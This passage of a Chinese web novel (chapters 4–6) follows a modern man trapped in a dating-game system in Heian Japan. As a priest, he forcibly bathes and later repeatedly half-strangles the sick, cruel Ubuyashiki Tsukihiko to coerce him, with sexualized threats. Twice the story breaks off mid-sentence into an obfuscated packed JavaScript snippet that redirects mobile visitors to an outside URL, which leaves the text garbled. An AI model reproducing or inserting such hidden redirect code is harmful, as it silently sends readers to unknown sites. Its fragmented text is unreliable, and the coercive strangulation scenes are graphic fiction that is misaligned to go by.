如果心理承受能力再低些的,还会直接自杀。 因此,很多时候,他根本不需要亲自下令处死他们。 每次看见他们在遭受痛苦的模样,都令他感到愉快极了。 产屋敷月彦恼恨盯着那道当真去端水盆的背影。 而这个神官……这个神官又如何?他总能找到对方内心的突破口,就像碾碎一只虫子那样,将他也慢慢碾死。 他很擅长这个。 羽原雅之没有亲自端着水盆回来。 在他人眼里,这位阴阳师大人平时可是侍奉神明的,愿意为产屋敷家公子净身祈福已是许多人这辈子求都求不来的莫大福分,岂能真的做这种粗活? 因此,这次换了个仆人端着放有水盆与毛巾的托盘,跟在他身后。 然后,将那托盘放在床褥旁,他也重新坐下,右手拿起那块干燥的毛巾,浸到水盆里,打湿,拧干,动作娴熟,有条不紊。 “来,将那件里衣脱了吧。” 羽原雅之面上风轻云淡,用命令句式对他开口说道。 产屋敷月彦双手抓紧盖在身上的衾被,难以置信瞪向人,“…………” 开什么玩笑! 4. 第 4 章 产屋敷月彦用了生平最大的力气去瞪这个初来乍到就对他连续做出多次冒犯的混账。 而这个混账只是神情平淡的看着他,无声催促。 产屋敷月彦那双虚弱无力的五指,缓慢抓紧盖在身上的衾被。 他气得浑身颤抖,呼吸也不稳。 在空气安静过去好一会儿后,产屋敷月彦抛弃了所有“贵族的仪态”,冲羽原雅之怒斥出他有史以来最失礼的一句措辞,简短有力。 “滚!” 没有脏话连篇的咒骂。 这也正常,毕竟贵族的教育里压根不包含脏话这个选项,产屋敷月彦的词汇量只够骂出一句“混账”,且这还必须往极端贬义的语境里进行一个自我代入,否则,也是不痛不痒。 但他没骂出来,不是因为不想骂,是他经过接二连三的动怒后,此刻的力气只允许他说一个词汇最有气势。 不过嘛,就算产屋敷月彦真的把“混账”这个词汇对着羽原雅之骂出口,对于见识过现代网络骂战的后者而言,杀伤力大约等同于钉宫理惠骂一句“笨蛋”,或者英雄王吉尔伽美什骂一句“杂种”。 因此,听到产屋敷月彦气急败坏的一声“滚”,羽原雅之只是抬了抬眉毛,脸上半分被激怒的反应也没有。 依恋度为0、脾气又天生如此糟糕的反派,还指望他能对自己笑脸相迎吗? 如果不是游戏退不出去,他也想上网查查有没有最速增加依恋度选项之类的参考攻略。 是的,他已经尝试过了,光幕上没有【退出游戏】这栏,他无论在内心想过多少次“退出游戏”,本人依然待在千年以前的平安时代。 也就是说,他必须一口气通关这款游戏,才能回到现代社会,继续开他的日轮咖啡馆。 羽原雅之在心底叹息。 没办法,只能按照他以往打游戏的经验来尝试看看是否有效了。 例如,能做的互动行为先全部做一遍。 眼下就是很好的一次互动,替他擦拭身体,防止夜间受凉。 给出的理由也格外有说服力:一位名望很高的神官,想要亲自为患上绝症的月彦净身祈福,恳请神明赐下奇迹。 被他唤来的仆从感动极了,眼含热泪的称赞他不愧是当今最受贵族欢迎的羽原大人,不仅自愿来产屋敷家受苦,还在被对方恶意训斥后,仍旧愿意为他的身体着想。 ——没错,这位月彦殿下的糟糕脾气在产屋敷家内实在出名,连带他主动要求前往产屋敷家照看他的行为,都被仆从解读为“真是受苦了”。 想到这里,羽原雅之没忍住微微弯了下嘴角,感觉挺有意思。 而这一幕放在产屋敷月彦眼里,就是这个混账被自己怒斥了声“滚”后,不仅不生气,竟然还笑了起来。 竟然还在笑! 这家伙,内心毫无廉耻可言吗! 产屋敷月彦气得头晕目眩,整个上半身也坐不住,开始往后倒。 羽原雅之伸手过来就要扶,被他再次挥手想要打开——却纹丝不动。 “你的身体太弱了,还做不到推开我。” 顶着产屋敷月彦要杀人的汹汹瞪视,羽原雅之神态淡然得很。 “我不想对你太粗鲁,你自己脱,还是我帮你脱,你可以选一个。限定三秒钟以内回答,否则,我就帮你选第二个。” 产屋敷月彦穿着的里衣领口宽松,很轻松就能看见那片单薄冷白的胸膛剧烈起伏几下,怒极开口。 “【三秒钟】是什么意思,你方才就说过一次,庶民专用的词汇?无法理解!” 或许是身患先天绝症的缘故,他太惜命,比任何人都想活,反而无法做到直接下令处死这个天皇眼里的宠臣,否则天皇会迁怒于他,他同样会死。 也正是由于他太过惜命,清楚知道自己倘若一直与这家伙拗下去,不将身体擦拭清爽,夜间大概率真的会发烧。 因此,产屋敷月彦咬着牙,不得不向对方妥协。 还因为长期接受的贵族教养,令他会听完对方话语并对内容进行理解后,再开口回应,而非粗暴的打断或直接驳斥。 平安时代关于时间的单位衡量是【时辰】与【刻】,一天有十二个时辰,一个时辰有八刻。 再往下细分就没有了。 【小时】、【分钟】和【秒钟】这种钟表发明后才出现的概念,在平安时代压根没有。 想起这点差异的羽原雅之“嗯”了声,“忘记这回事了。” 他略思索片刻,指尖隔着那层带有潮气的布料,轻轻点在产屋敷月彦的左胸上。 这个姿势、这个行为太过亲密,足以令产屋敷月彦的身体变得僵硬。 仿佛他变成了一只被按在解剖台上的兔子,无力挣扎,只能等待着那柄锋利的手术刀被捏在指尖,沿着皮肤缓慢切割,切割,直至露出那颗维系着性命的心脏来。 分明没有受到禁锢,他的呼吸却好似被这一指扼住,无意识仰起下巴,暴露出脆弱的脖颈。 “【三秒钟】,简单来说,你可以理解为——你的心脏跳动了三次。我以后再说这个单词,你要记住它的意思。” 而后,他听见身侧传来偏低的悦耳嗓音,将那个单词转化成了,他永远渴求着延续下去的生命。 他能感觉到那颗属于他的心脏隔着骨头、肌肉与皮肤,被那根胆大妄为的手指压着,伴随那句话的落尾,急促跳动了不止三次。 “…………” 好像听见那个混账又在发出细小的、蔑视他的嘲笑。 产屋敷月彦冷冰冰沉着脸,再次将那只手推开——这次,羽原雅之配合着他的力道,将手从他的胸膛移开了。 “我会让仆人擦,不用你来。”他说。 “你刚才拒绝了他的服侍。”羽原雅之理所应当回道,“不就是想要我亲自动手吗?” “…………” 产屋敷月彦不敢相信。 竟然还比他更自我主义的人存在! 不,根本就是恬不知耻! “谁说想要你亲自动手?” 产屋敷月彦深吸口气,压沉声音,忍着怒意逐字逐句强调。 “我真是受够了,你这人很烦,烦得要死。我根本没有想要你帮我擦拭身体,别以为这样就能讨好我,我也不认为这样做就能获得所谓神明的赐福,神明这种东西根本就是假的,是虚构之物。” 听到这段话的羽原雅之还没有做出什么反应,站在旁边当背景板的仆从先双手捂住嘴,倒吸口气。 当着神官大人的面说这种话,搞不好的话会直接惹怒天皇陛下! 毕竟,天皇陛下就因为是天照大神的后裔,才能以【万世一系】的正统血脉,世世代代成为天皇的啊! 月彦殿下竟然说神明是假的,不就是在表明“天皇陛下拥有天照大神血脉的说法是假的”吗! 如果神官大人将这句话转述给清和天皇陛下…… “………” 羽原雅之放在腿上的手抬起食指,轻轻敲了敲,似乎也在思考。 接着,他先开口,头也不回的对着那位仆从下令,“你先出去,刚才的话什么也没有听见。”——等仆从匆匆行礼离开后,才看向产屋敷月彦,“我知道你现在的心情很不好,但有些话,不要当着外人的面讲出来。” 原本在恶意等待他反应的产屋敷月彦,此刻险些气笑了。 你难道就不是外人!? “啊,”他阴森森盯着人应道,“我会把听到这些话的人都杀光,一个也不留。” “人命不是你可以轻慢处置的对象。” 羽原雅之蹙了蹙眉,但在对方没有真的杀死人前,也没一直揪着这个话题不放,“你的心脏现在已经跳过不止三次了吧?我就替你选择第二个了。” 产屋敷月彦的脸色顿时变得更臭。 这个该死的混账真是油盐不进!! “……我自己来。” 他没想到自己有朝一日,还得抓紧衣袍的领口,像防御一头登堂入室的黑熊那般,防着眼前这个比黑熊力气还大的神官。 “你说谎。” 羽原雅之的声音始终很稳。 他居高临下,单手便将产屋敷月彦的两只手腕交叠着捉住,不容置喙地按在头顶。 仅有腰带束起的里衣很好脱,只需要轻轻一扯系带,整个躯体都会暴露在冰冷的空气里。 鉴于对方眼下的身体确实很羸弱,羽原雅之将那层厚重的衾被盖在他的腰腹以下,却也压制住他气恼得想要踹过来的腿。 而在这个一上一下的姿势间,有庭院的光线内自门外照在羽原雅之的身上,也令那道投射出的影子覆在产屋敷月彦的身上,仿佛一座移不开的山峦。 产屋敷月彦被迫躺在对方笼罩过来的阴影下,被轻松压制得动弹不得,却什么反抗都做不到。 他的意愿好像真的无关紧要,对方说出口的话为注定实现的“预言”。 毛巾在空气里放了许久,此刻已经有些凉了。 当它落在产屋敷月彦的肌肤上时,便也随之激起了一片细微的、条件反射的战栗与瑟缩,是他无法克制的生理反应。 在羽原雅之没有动手前,产屋敷月彦使劲挣扎过。 他不抗拒那些下人这样服侍他、也不在意对他们袒露自己的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041412|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为他根本没将他们当成同类对待,而是一样尚且称心的工具。 但羽原雅之……他无法容忍对方竟然反过来,将他当成了一样没有自我意识的工具! “我会杀了你。” 当羽原雅之真的在擦拭他的身体时,产屋敷月彦反而不动了。 不仅不再挣扎,那双瞪得凌厉的上挑眼眸就这样直直盯着人,口中吐出极度冷漠的一句宣判。 “嗯。” 羽原雅之不咸不淡应了声,手上动作没有停止。 他早就知道这件事了,依恋度0后面的描述里写着呢。 “我会把你的皮剥下来,我要把你跟熊皮缝在一起,然后砍掉你的脑袋。”产屋敷月彦继续开口,语调森冷。 “别说这么野蛮的话,你不是贵族吗。”羽原雅之依旧回得淡然。 “…………” 心底本就一直憋着巨大愤怒与耻辱的产屋敷月彦气得忍不住咬牙,偏过脑袋不想再看见这张令人怄气的脸。 混账,你以为这是谁害得! 等到羽原雅之将毛巾放回托盘,产屋敷月彦也换了件新的干净里衣,这场对后者而言的漫长精神酷刑终于暂告一段落。 产屋敷月彦已经不想再对着那张脸多说一个音节,将衾被拉高在下巴处,背对着人躺下。 用肢体语言直白的表达“你快滚”。 羽原雅之打开游戏面板,看了眼产屋敷月彦此刻的状态。 【姓名:产屋敷月彦】 【身份:人类】 【年龄:17】 【身高:168cm】 【体重:42kg】 【兴趣:读书、找到治愈自己疾病的方法】 【厌恶:死亡、羽原雅之、看不起自己的人】 【性格:残忍、霸道、冷漠、易怒、执着】 【依恋度:0】 【描述:产屋敷月彦觉得你很恶心,想要杀了你。】 不仅依恋度没变,羽原雅之发现自己在【厌恶】那栏的排名还提高了一位。 原来这还是按程度排名的,眼下的他在产屋敷月彦心里的讨厌排名,仅次于死亡。 还有性格,多出了一个易怒与执着,好像都是他惹出来的。 不过……执着要杀了他? 嗯,倒也算是没有白干一场,他在对方心里的重要性不就顺利增加了吗? 游戏才刚开始,他就能如此强烈的影响到对方,多少也能作为一个开门小吉。 羽原雅之一点也不生气,只是用折扇再度敲了敲掌心,提醒他注意听自己说话。 “我要暂时离开了,你不打算说些什么吗?你应当学过贵族的礼仪才是。” ……真是不提这茬还好,一提更是火冒三丈。 背对着他的产屋敷月彦冷笑出声,“怎么,还要我给你现作一首和歌送别吗?” 这句话被他说得抑扬顿挫,极尽阴阳怪气。 “你之前也没机会作这样的和歌,现在这场景不是正好合适?” 但羽原雅之好像听不出他的言外之意,从来没有被激怒过——反而是他,接二连三被气到抑制不住沸腾杀意。 产屋敷月彦再度捂住嘴闷咳几声,墨黑的长发铺在枕边与衾被上,跟着那瘦削肩膀的耸动而一颤一颤。 紧接着,他用手撑着身体转过来,阴恻恻盯着羽原雅之。 “『风止于无声,茎断于神代,秋露未凝已散,沉于庭中泥土安眠』。” 产屋敷月彦真的开口,吟诵般的吐出一串又长又拗口的日语——可能更像是诅咒。 作和歌时,总会喜欢借物喻人,不会直接说出【死】或者【滚】之类一点也不优雅的词语。 因此,这首和歌直白的翻译过来就是,“你快点滚,不然就干脆在我这里自尽得了”。 想刀人的心,半点都不掩饰。 羽原雅之笑了,“看,你这不是做的很好吗?” 他甚至伸过手去,慢条斯理地摸了摸对方的脑袋,就好像这个行为是一种居高临下的赞许与嘉奖。 产屋敷月彦没有力气拒绝,只能恨恨瞪着他的动作,忍耐着那只手再次触碰到自己的身体,传来难以接受的恶心触感。 这种温暖的,酥麻的,令人起鸡皮疙瘩的感觉…… 他的视线没有错开半分,恨不得化身为厉鬼,当场把这个混账神官啃噬干净。 只不过,那张脸实在生得漂亮,身体又太过虚弱,以至于这样的狠厉目光放在眼下的产屋敷月彦身上,更像是小猫在不痛不痒的抓挠。 还真是挺有意思。 羽原雅之想道。 5. 第 5 章 羽原雅之收回手,端起托盘离开。 走在长廊时,他迎面碰上方才听命退出房间的仆从。 对方没有离开很远,而是站在不远处等待,并立刻接过那个偏沉的托盘,“小人来处理就好。月彦殿下已经消气了吗?” 羽原雅之:“哦没有,他更想杀死我了。” 仆从:“!??” 面对震惊的仆从,羽原雅之不以为意。 “我一开始就知道他的秉性,并不对这点感到意外。” 他说,“我先回去向天皇复命,明日再来看他。” 受到天皇喜好也有这点不好,对方每日都要请他过去占卜次日行动的吉凶,详细到吃饭、出行、沐浴乃至上朝。 眼下又没有其它的交通工具,只能坐牛车一来一回,要耽误不少时间。 “啊好的,主上要准备接待客人,实在抱歉没办法恭送您,” 仆从连忙弯腰将羽原雅之送走,“劳您为月彦殿下费心,小人相信他只是一时气话,并不会真的为难大人。” “无妨。” 羽原雅之半点不提他是如何在见到人的第一天就强迫脱衣服擦拭身体的,在微微颔首后,便沿着游廊离开。 平安时代的贵族住宅名为[寝殿造],是围绕[寝殿]打造出的一整个由宫殿、庭院与池塘组成的巨大宅邸。 即使产屋敷月彦身为产屋敷家族的下一任继承人,也不可居住在正中央的寝殿内,而是住在名为【东之对】的别殿里。 仆从口中的主上指的是产屋敷家族的族长,也是这座[寝殿造]的唯一家督(家主)。 产屋敷月彦的身份则是“准家督”,但前提是他能够活过20岁。 羽原雅之是从天皇居住的大内里——也称为平安宫——过来的,当他们听说他要前来照看这位产屋敷家的准家督时,都发出了隐秘的窃笑与私语。 他们在说,产屋敷家的那个病秧子从来没能出来参加过宴会,绝对活不过20岁的。 连清河天皇也对此笑了笑,倒是挺关心的问他是不是有办法医治。 毕竟,那可是绝症,如果羽原雅之有办法治好,那可以称得上当今神医了。 羽原雅之心想他也不知道谁能把他治成鬼王啊,便只摇了摇头,回了句“契机未至”。 通过这些人的态度,他倒也理解产屋敷月彦性格的喜怒无常究竟是怎么形成的。 大概是看他实在瘦弱、岁数也不大,再加上羽原雅之本身是出自和平的日本现代的缘故,便没怎么将产屋敷月彦的死亡威胁当回事,只是小孩子在放狠话罢了。 走过通往正门的渡殿与游廊时,他和一行穿着庄重的队伍擦肩而过。 领头是一位年纪颇大的丰腴女性,还朝他微微颔首,含笑行礼。 身后的几人手中则提着礼盒,大约是上门拜访所准备的礼物。 这是那个家主准备接待的客人? 羽原雅之与她对视片刻,点了下头回礼就继续错身离开,没有交谈。 而他的眼前,则弹出系统的光幕提示。 【接触到关键人物,激活相关副本事件——《娶亲》。您将进入副本,沉浸且逼真地体验一段未来会发生的真实经历。】 【您可以选择不插手任何剧情的纯观影模式,也可以选择尝试任意行动的大胆探索模式,副本内的剧情与人物将会根据您的行为作出不同的反应。】 【是否同意开启副本?是/否。】 【请注意,您进入副本的身份为系统默认,无法更改。】 【请注意,产屋敷月彦的个人档案同样会根据你在副本内采取的行为,反馈出相应的变化。】 羽原雅之大概看懂了。 简单来说就是他将会提前在副本里知晓未来会发生的剧情,且它百分之百与产屋敷月彦相关。 而他在副本里做出的行为,同样会影响到副本外的产屋敷月彦对他的态度。 再结合这个副本事件的名字…… 有点意思,他倒要看看这个娶亲副本究竟是什么未来剧情。 羽原雅之意念确认,【是】。 ………… “呜呜……呜呜呜……” 半封闭的寝殿内,有隐约的抽泣声传来,隔着竹条制作成的帘幕,一阵轻一阵重。 是一位年轻的女子在掩面而哭,背对着羽原雅之,使得他只能看见层层叠叠的衣摆在榻榻米上铺开,是贵族女性才能穿着的十二单。 这里似乎是一位贵族女子的居所,他身为男性,只能隔着厚厚的竹帘才能见她。 那位贵族女子的身旁还有一位贴身的乳母,正在轻轻拍她的背安抚。 “不要紧的,不要紧,那位产屋敷家的殿下身体极差,做不成什么事的。” 她说,“听说侍奉他的家仆除去犯错被处死外,几乎是上吊自尽的,与他并没有干系,也不是他本人命令的。我已经替您去看过了,那位殿下风姿绰约,谈吐文雅,是一位真正的贵族公子。您嫁给他会很幸福的。” “并不是这样,不是这样的……” 贵族女子仍然在哭泣,“我与产屋敷分家的香姬关系很好,她给我送来许多信笺,都在提醒我,那位产屋敷殿下私底下并不礼待下人,反而一直用言语挖苦,贬低,许多家仆都是勉强忍耐了一段时间后,再也无法承受,只愿一死了之……” 乳母惊讶道:“我看不出他是这样的人啊!” 贵族女子哽咽道:“那些只是他的表象而已……谁会知道私底下发生的事情呢?大家也并不把仆人当作人对待,只觉得他们多死几个也没什么,再买就是了……” 乳母沉默了一会,才叹息着又开口,“可是,您必须去不可,您的父亲已经定了下来,我们已经送过去礼物,对方也回了桧扇,只等阴阳师大人占卜出一个吉日,您就得过去他那边了。” “您看,他甚至无法亲自前来我这边,还要我过去他那里!” 贵族女子泪落如雨,“我一点也不想去,我会死在那里的,我一定会死在那里的!他已经活生生逼死那么多人了,我肯定也不例外!” 没等那位乳母开口,贵族女子双手撑着榻榻米,转过身来朝着羽原雅之。 “兄长,求您和父亲说一声罢,求您让我不要过去,他根本不是什么贵族,是个恶鬼,是妖怪……!” 羽原雅之这才知道自己在这个副本里的默认身份,是这位贵族女子的兄长。 他静静听完她的悲泣,才开口,“你说的那个产屋敷的殿下,全名是产屋敷月彦吗?” “是的,是他!”贵族女子急切道,“您可能没见过他,他从来都不参加任何宴会,即使继承了官职,也没办法上朝,只能终日待在寝殿内。” “如果我没有动作,你是否一定会与他成婚?”羽原雅之又问。 “是的,兄长。”贵族女子抽泣回道。 羽原雅之大概明白了这个副本。 也就是说,如果他选择袖手旁观,就会看见产屋敷月彦娶亲,而后用言语活生生逼死她。 等逼死她之后呢?他会停止娶亲,也停止这样的行为吗? 不,既然这是他惯例会做的事情,后面还不知道有多少人会遭到不幸。 产屋敷月彦也不是没有说过想杀他的话,甚至也用话语使劲讥讽过他——那些并不被他放在心上的话,未必不能对其余人起作用。 果然是冷酷又残忍的反派,哪怕不是鬼王时也同样。 如果是副本以外的地方,羽原雅之还会采取比较温和的行为来尝试改造他。 但这里只是不会对外界产生影响的副本事件,也是未来产屋敷月彦会做出的恶行。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041413|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我大概明白了。”羽原雅之说,“最后一个问题。” “什么叫【他甚至无法亲自前来我这边】?” ……… 平安时代早期,贵族间更流行的是【访妻婚】,也就是婚后夫妻并不同居,丈夫需要在夜间坐着牛车悄悄拜访妻子家,夜宿一晚,在天亮之前离开。 由于产屋敷月彦的身体支撑不住这样的【访妻婚】形式,只能改为由妻子上门夜访,第二日太阳升起前离开。 距离20岁的时限愈来愈近,产屋敷一族需要产屋敷月彦尽快诞下拥有产屋敷血缘的子嗣,防止宗家断代。 因此,他们对于他的婚姻安排也越来越急切。 认定他要死去了是吗? 已经放弃他了是吗? 他已经是个死人了是吗? 产屋敷月彦不会委屈自己的憎恨与厌恶,便使用他最擅长的言语,一个一个的将仆人逼到自尽,来纾解压抑在内心的愤郁。 看着上吊咽气的那些人,产屋敷月彦的脸上终于浮现出残忍的快意。 那些人,只会死得比他更早。 就算是那个他根本没有见过哪怕一面的妻子也同样。 他换上新的单衣,坐在布置好的寝室里,等着家族给他定下的妻子在约好的深夜上门。 而后,他就可以欣赏到她惶恐与无措交织的哭泣模样。 伫立在床前的油灯静静燃烧,倒映出垂落竹簾后影影绰绰的身影,逐渐拉长,缩短,随着一步一步的靠近,停留在正前方。 在对方尚未推开门前,察觉出异常的产屋敷月彦便已蹙了蹙眉毛。 他的妻子……身量似乎有些高? 不等他继续思考,对方已伸出手来,指尖压在用以隔出寝居的垂落竹簾边缘,将它缓慢掀起。 由一道细小的缝隙开始,那道被分割出的光栅逐渐扩大,大到足够使更多的火光照出去,清晰勾勒出来者的面容。 那张冷淡的、总是漫不经心的脸。 男人的脸。 男人???!!! “怎么,很惊讶是我?” 见到产屋敷月彦抑制不住显而易见的震惊反应,羽原雅之风轻云淡反问了句,踏进寝室里,松手任由那面竹簾重新垂落。 他站着,目光就这样往下瞥,落在副本里的产屋敷月彦身上。 看起来涨了一两岁,身体倒是依旧瘦削,墨黑微卷的长发衬着素白的单衣,也令那片没被交领盖住的锁骨极为醒目,被油灯映照着,笼罩成偏暖的色泽。 “这是我的婚礼。” 产屋敷月彦恼怒开口,嗓音也低了些,更沙哑了。 “嗯,我知道。我原本不将你的那些话放在心上,因为我清楚你做不到杀死我。” 羽原雅之冰冷注视着他,“但你这样不将他人的性命当做一回事的行为,很成功的惹怒了我。” 他又上前几步,与之相对的,是产屋敷月彦眯起的眼睛。 然而,在这种私密的情景,以及体力悬殊的差距下,他的反应更像是一种慌乱下的虚张声势。 “什么叫我对你说过的那些话?” 产屋敷月彦的眉心拧紧,似乎不理解羽原雅之说出的内容,“你不过是松子的兄长,又能做到什么?” 原来,在副本里的产屋敷月彦并没有副本外的记忆,也只会将他当成默认的系统身份。 羽原雅之盯着他瞧了一会儿,忽然弯了弯嘴角。 “所谓【访妻婚】啊,是丈夫深夜前往妻子的家中,才符合自古以来的例律吧。” 在产屋敷月彦逐渐变了的脸色里,羽原雅之又慢条斯理的踏前一步,单脚踩上那层铺开在榻榻米上的纯白被褥。 “如你所见,我来访妻。”他开口。 “要为我做一位合格的妻子啊,月彦。” 6. 第 6 章 今夜,这间寝室内的一切东西都是按照【访妻婚】的规格布置的。 进门便能见到数条典雅的素色布帷自天花板垂落,尾端如同花瓣在榻榻米上展开,铺得一丝不苟。 被布帷虚拢起来的就寝空间内,以昂贵的丝绵为被芯,纯白的被褥上放置着一个用白绢包裹的婚枕,摸上去同样柔软。 而在布帷之外,在更靠近渡殿的地方,特意放置有一张矮几,上面摆着整齐崭新的砚台、和纸与毛笔——大约是一种凸显贵族身份及风雅的礼节性装饰品。 廊下还有点燃的香炉,浅淡的白檀香气幽幽浮动在这间被油灯点亮的屋内,却仍然盖不住那长年累月的草药苦味。 由于是【访妻婚】的初夜,寝室内的最深处还悬挂有象征“神明见证”的御帐。 这间羽原雅之刚离开不久的寝室被这么一布置,看上去倒是显得格外庄重与纯洁了。 他不急着动怒,而是先目光平稳的逐一扫视过这些摆设,最终才又落回产屋敷月彦的身上。 后者似乎被他方才的发言气昏了头,整个身体都开始剧烈呼吸着发颤,像猫似的弓起背来发怒。 而那双瞪过来的眼睛里,有血丝密密麻麻攀在那浑白的部分,下方则凝着浓重的憔悴青黑。 “不要太放肆了,混账东西!” 羽原雅之就这么看着产屋敷月彦冲他发火,怒极下连呵斥都带出明显中气不足的颤音。 “竟敢来羞辱我,你以为你能活着走出这个房间?” 副本里的时间往后推移了一年左右,而产屋敷月彦的病症明显恶化了更多,露在袖袍外的那截手腕消瘦得惊人,骨节像荒原上的枯枝那般清晰凸起,即使在油灯下也显得苍白且脆弱。 羽原雅之的眼睛微微眯了眯,在思考自己如果多用点力,是不是能直接捏碎那段骨头。 对于产屋敷月彦的威胁,他一贯是无所谓的。 遑论,此刻的他确实有些生气。 虽然他是个孤儿,没体会过拥有亲情究竟是什么感觉。 但倘若他有个金贵养大的妹妹即将结婚,以为她往后能过上好日子,夫妻恩爱、琴瑟和鸣的时候——收到了她被逼到自尽的死讯。 羽原雅之只是站在这里,还允许对方在这里放话要杀了他,已经是十分客气。 不过,他马上就要不那么客气了。 “说完了?” 羽原雅之听他发泄了一通怒气后,才慢吞吞出声。 他这般喜怒不形于色——或者说,看不出究竟脑中在想什么的反应,反而令产屋敷月彦的表情僵硬了下。 挖掘对方负面情绪、将理智逼到崩溃的前提是,他必须要挖掘出对方心理上的弱点。 身体、表情、话语,哪怕是一点细微的呼吸变化,都需要先有“变化”才行。 可眼前这个男人,听完他说的话,就只是听完了。 他的表情是没有改变的,语气也仅是单纯的询问句。 唯一出现的“变化”,是他朝自己打量过来时,微微眯了下眼。 那不是被激怒的反应,而是在端详食物从哪里下口比较美味。 在剧烈而急促的心跳声中,产屋敷月彦察觉到,自己竟然是想要离开这间房的那个人。 他竟然想逃跑。 何等耻辱!! 产屋敷月彦咬紧嘴唇,还没有来得及再说出下句话,便看着那个男人又往前一步,两只脚都站在了这床被褥上。 由于是从妻家乘坐牛车而来,对方披了件外袍,穿得远比他正式。 也更有贵族仪态。 对方的脊背是挺拔的、肩膀是舒展的,抬起的手也稳定,五指修长,偏白的皮肤下透出健康的血色。 当那截露在衣袖外的小臂发力时,会浮现清晰的肌肉线条,宛若一张缓慢拉开的弓。 对方的身量也高挑,举止同样拥有着那些贵族们最钟爱的天生优雅与风度。 那是理想中的他。 产屋敷月彦盯着那只朝他伸来的手,眼神里难以自制透出几许强烈的憎恨与怒意。 为什么这样的人不是他? 他为什么天生就得被死亡缠上不可? 他…… 产屋敷月彦的念头被中止了。 不是因为他忽然想通了,而是对方朝他伸来的手可不是什么表达友好,而是用那五指扣住了喉咙,朝后施力,将他重重的压到在床褥上! “……咳!” 常年卧床的产屋敷月彦哪里比得上羽原雅之的力气。 就像他只能被对方强迫着擦拭身体那般,此刻的他也只能被那无法抵抗的力道压倒,朝后躺在被灯火照得暖黄的床褥上。 汲取的氧气难以维系,强大的求生欲迫使他抬起双手,抓住牢牢扼住他喉咙的那只手的手腕,“放……放开……!” 死亡的恐惧伏在自上方投下来的暗影里,就在他的耳边嬉笑。 要死,要死,他会死……! 产屋敷月彦本以为自己真的要被这个男人掐死,但对方竟然顺应他的要求,五指松开了些,让他能在自己掌下呛咳着大口喘息。 “来,说你会为了我,努力成为一名合格的妻子。” 羽原雅之的另只手就撑在他的枕边,俯下身,贴着人耳畔轻声低语,“只要这么说了,我就放过你,月彦。” 产屋敷月彦的胸口剧烈起伏,眼睛瞪得极大,不敢置信盯着上方这个男人。 竟然要他……认下这份耻辱……! “谁要……说……” 产屋敷月彦的嗓音沙哑,双手仍旧抓住羽原雅之的手腕,喘息着,断断续续挤出这几个音节。 “你没有必要害羞,我知道你们并不排斥这个,许多人都会放一个男性侍从陪在身边,夜晚暖床。你这样病弱,我已经很关照你了,只是要求你说出这句话而已。” 羽原雅之没有因为他的拒绝而生气,语调甚至依然是温和的——温和但强硬。 他清楚对付产屋敷月彦这种性格乖张恶劣的人,身体的受辱是没有什么作用的,对方可以轻松说服自己就当做被狗咬了一口,将那些屈辱都化作复仇的怒焰。 因为他是被动承受的。 只要他没有主动迎合,接下来不管发生什么事情,只能算得上是一种“肉丨体折磨”,与此刻正在折磨他的绝症没有什么区别。 从个人资料来看,产屋敷月彦未必会将这外部施加的暴行当做一回事,进而在精神上进行难以纾解的自我磋磨。 是那家伙自以为是说什么要他当合格的妻子,与他有什么干系? 是那个疯子头脑不清醒罢了! 所以,羽原雅之非要产屋敷月彦主动说出这句话不可。 而在这种时候,他拿来要挟的东西很简单。 对方最厌恶的【死亡】。 “来,说吧。” 羽原雅之微笑着朝他低语,“只是一句话而已,说出来就轻松了,月彦。” 他的五指重新缓慢收紧,一点一点地扼住掌下那截消瘦的脖颈,再度阻隔它汲取氧气的通道。 “唔……呜咳……” 油灯斜斜照过来,将二人交叠的身影印在“神明见证”的御帐上,何等亲密无间。 他们之间的距离也确实太近了,近得羽原雅之能看见产屋敷月彦因缺氧而不得不张开的口,来不及吞咽的涎液伴随着咳嗽,将终于泛出几分颜色的唇瓣染得亮晶晶的。 他能感知到产屋敷月彦每一次虚弱无力的挣扎,像蝴蝶在一次又一次努力煽动翅膀,眼白部分的血丝更多了,像捕捉到猎物的细网。 他也能察觉到产屋敷月彦的脑袋正在无意识往后仰去,那对漂亮的眼球开始微微上翻,躯体同样挺动着挣扎求生。 快要到极限了,于是羽原雅之将五指的力道又放松,让他能够再度活过来,大口大口呼吸,甚至忘记继续用指甲在他皮肤留下拼命抓挠的痕迹。 “要说吗,月彦?” 望着姿态狼狈的身下之人,羽原雅之弯起的嘴角弧度不变,“今晚是谁也不会来打扰的【访妻婚】,我可以陪你这样玩上一整夜。” 迎上对方怨毒的目光,他的嗓音放得更低,更亲密,几乎要像正常的恋人那般在窃窃私语。 “我听说,如果这样反复进入濒死状态,大脑就会无法控制身体的肌肉,还会触发交感神经系统应激反应,促使大脑释放内啡肽和……噢,我忘记了,你听不懂这些。那就简单来说结果吧,到那时,你可能会高chao……啊,你这样没用的身体,大概做不到吧?” 怨毒的目光已经转化成想要活吃了他的目光,羽原雅之的心情却变得更好。 “因为你做不到正常男人能做到的事情啊,所以只能成为合格的妻子,而不是丈夫,这是你早该明白的道理。” 他微笑着,五指重新再 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在产屋敷月彦晃动模糊的视野里,眼前这个鬼神的手指又重新收紧,继续将他推向最恐惧的死亡,“在你愿意说出那句话之前,就来继续体会那些上吊自尽的仆人在死前的感受吧。” 窒息,濒死,获得空气;再次窒息,再次濒死,又再次获得空气。 